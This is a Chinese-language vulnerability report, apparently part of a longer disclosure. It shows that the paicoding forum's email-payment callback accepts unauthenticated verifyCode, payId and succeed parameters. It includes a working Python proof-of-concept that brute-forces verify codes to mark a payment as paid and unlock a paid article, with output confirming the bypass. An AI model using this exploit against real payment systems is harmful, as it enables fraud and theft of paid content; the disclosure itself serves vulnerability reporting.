支付服务把 verifyCode、payId、succeed 三个参数原样取出:
// paicoding-service/src/main/java/com/github/paicoding/forum/service/pay/service/integration/email/EmailPayIntegration.java:58-62 commit 6b85f5c327
public PayCallbackBo payCallback(HttpServletRequest request) {
String outTradeNo = request.getParameter("verifyCode");
Long payId = Long.parseLong(request.getParameter("payId"));
PayStatusEnum payStatus = Objects.equals("true", request.getParameter("succeed")) ? PayStatusEnum.SUCCEED : PayStatusEnum.FAIL;
updatePayStatus 只比对记录中的 verifyCode,不校验调用方身份,因此枚举出计数即可把记录置为成功。
复现环境搭建
同第 1 节。
复现过程
脚本如下:
import concurrent.futures, httpx, time
BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYBYPASS_SECRET_77'
admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员',
'payCode': {'email': 'admin@paicoding.example'}})
slug = 'paidemail%d' % int(time.time())
r = admin.post('/article/api/post', json={
'articleType': 'BLOG', 'source': 2, 'title': 'paid-email-demo', 'urlSlug': slug,
'content': '<p>' + 'C' * 600 + SECRET + '</p>', 'categoryId': 1, 'readType': 4,
'payWay': 'email', 'payAmount': 1, 'actionType': 'post', 'tagIds': [1], 'summary': 'p'})
aid = r.json()['result']['articleId']
print('[victim] paid article id=%s slug=%s payWay=email' % (aid, slug))
att = httpx.Client(base_url=BASE, timeout=20)
att.post('/login/register', data={'username': 'payleech', 'password': 'Pay@12345',
'starNumber': '01040', 'displayName': 'payleech'})
att.post('/login/username', data={'username': 'payleech', 'password': 'Pay@12345'})
pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result']
pay_id = pay['payId']
print('[attacker] toPay -> payId=%s payStatus=%s payWay=%s' % (pay_id, pay['payStatus'], pay['payWay']))
def probe(n):
code = 'EM%06d-%s' % (n, pay_id)
rr = httpx.get(BASE + '/article/api/pay/callback',
params={'verifyCode': code, 'payId': pay_id, 'succeed': 'true'}, timeout=5)
if rr.status_code == 200 and rr.json().get('result') is True:
return code
return None
found = None
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as ex:
for res in ex.map(probe, range(0, 2000)):
if res:
found = res
break
print('[attacker] matched verifyCode=%s' % found)
anon = httpx.Client(base_url=BASE, timeout=20)
print('[anonymous] page contains secret before: %s' % (SECRET in anon.get('/' + slug).text))
print('[attacker] page contains secret now: %s' % (SECRET in att.get('/' + slug).text))
输出如下:
[victim] paid article id=2631610238296065 slug=paidemail1794451364 payWay=email
[attacker] toPay -> payId=2631610238296066 payStatus=0 payWay=email
[attacker] matched verifyCode=EM000012-2631610238296066
[anonymous] page contains secret before: False
[attacker] page contains secret now: True